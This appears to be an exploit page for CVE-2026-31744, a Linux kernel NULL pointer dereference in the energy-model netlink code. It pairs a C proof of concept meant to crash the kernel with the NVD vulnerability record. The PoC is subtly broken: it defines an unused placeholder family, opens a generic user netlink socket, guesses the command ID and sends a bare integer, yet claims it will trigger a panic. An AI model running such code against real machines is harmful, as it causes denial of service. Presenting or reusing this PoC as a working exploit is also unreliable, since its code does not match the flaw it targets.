CVE-2026-31744

#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> // PoC for CVE-2026-31744 // Trigger NULL pointer dereference in dev_energymodel_nl_get_perf_domains_doit #define NETLINK_ENERGY_MODEL 31 // Placeholder, actual family ID may vary int main() { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; struct iovec iov; struct msghdr msg; // Create Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK); if (sock_fd < 0) { perror("socket"); return -1; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel // Allocate message nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(1024)); memset(nlh, 0, NLMSG_SPACE(1024)); nlh->nlmsg_len = NLMSG_SPACE(1024); nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = 0; // Assume command ID for get_perf_domains is 1 or similar nlh->nlmsg_type = 1; // Payload: Invalid Perf Domain ID (e.g., 0xFFFFFFFF) // The exact structure depends on the specific Netlink attribute parsing // Here we simulate sending an invalid ID. uint32_t invalid_id = 0xFFFFFFFF; memcpy(NLMSG_DATA(nlh), &invalid_id, sizeof(invalid_id)); iov.iov_base = (void *)nlh; iov.iov_len = nlh->nlmsg_len; memset(&msg, 0, sizeof(msg)); msg.msg_name = (void *)&dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = &iov; msg.msg_iovlen = 1; printf("Sending payload to trigger NULL pointer dereference...\n"); sendmsg(sock_fd, &msg, 0); printf("Check system logs for kernel panic/ Oops.\n"); close(sock_fd); free(nlh); return 0; }

{"cve": {"id": "CVE-2026-31744", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:37.157", "lastModified": "2026-05-07T19:33:39.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nPM: EM: Fix NULL pointer dereference when perf domain ID is not found\n\ndev_energymodel_nl_get_perf_domains_doit() calls\nem_perf_domain_get_by_id() but does not check the return value before\npassing it to __em_nl_get_pd_size(). When a caller supplies a\nnon-existent perf domain ID, em_perf_domain_get_by_id() returns NULL,\nand __em_nl_get_pd_size() immediately dereferences pd->cpus\n(struct offset 0x30), causing a NULL pointer dereference.\n\nThe sister handler dev_energymodel_nl_get_perf_table_doit() already\nhandles this correctly via __em_nl_get_pd_table_id(), which returns\nNULL and causes the caller to return -EINVAL. Add the same NULL check\nin the get-perf-domains do handler.\n\n[ rjw: Subject and changelog edits ]"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19.1", "versionEndExcluding": "6.19.12", "matchCriteriaId": "6A3292BD-59D7-4901-9701-EF89FB933C8E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc6:*:*:*:*:*:*", "matchCriteriaId": "3EF854A1-ABB1-4E93-BE9A-44569EC76C0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc7:*:*:*:*:*:*", "matchCriteriaId": "F5DC0CA6-F0AF-4DDF-A882-3DADB9A886A7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc8:*:*:*:*:*:*", "matchCriteriaId": "EB5B7DFC-C36B-45D8-922C-877569FDDF43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/9badc2a84e688be1275bb740942d5f6f51746908", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ab09b9a1e3b02ff62c5aebe3b12b0cb4cb4ea8ab", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}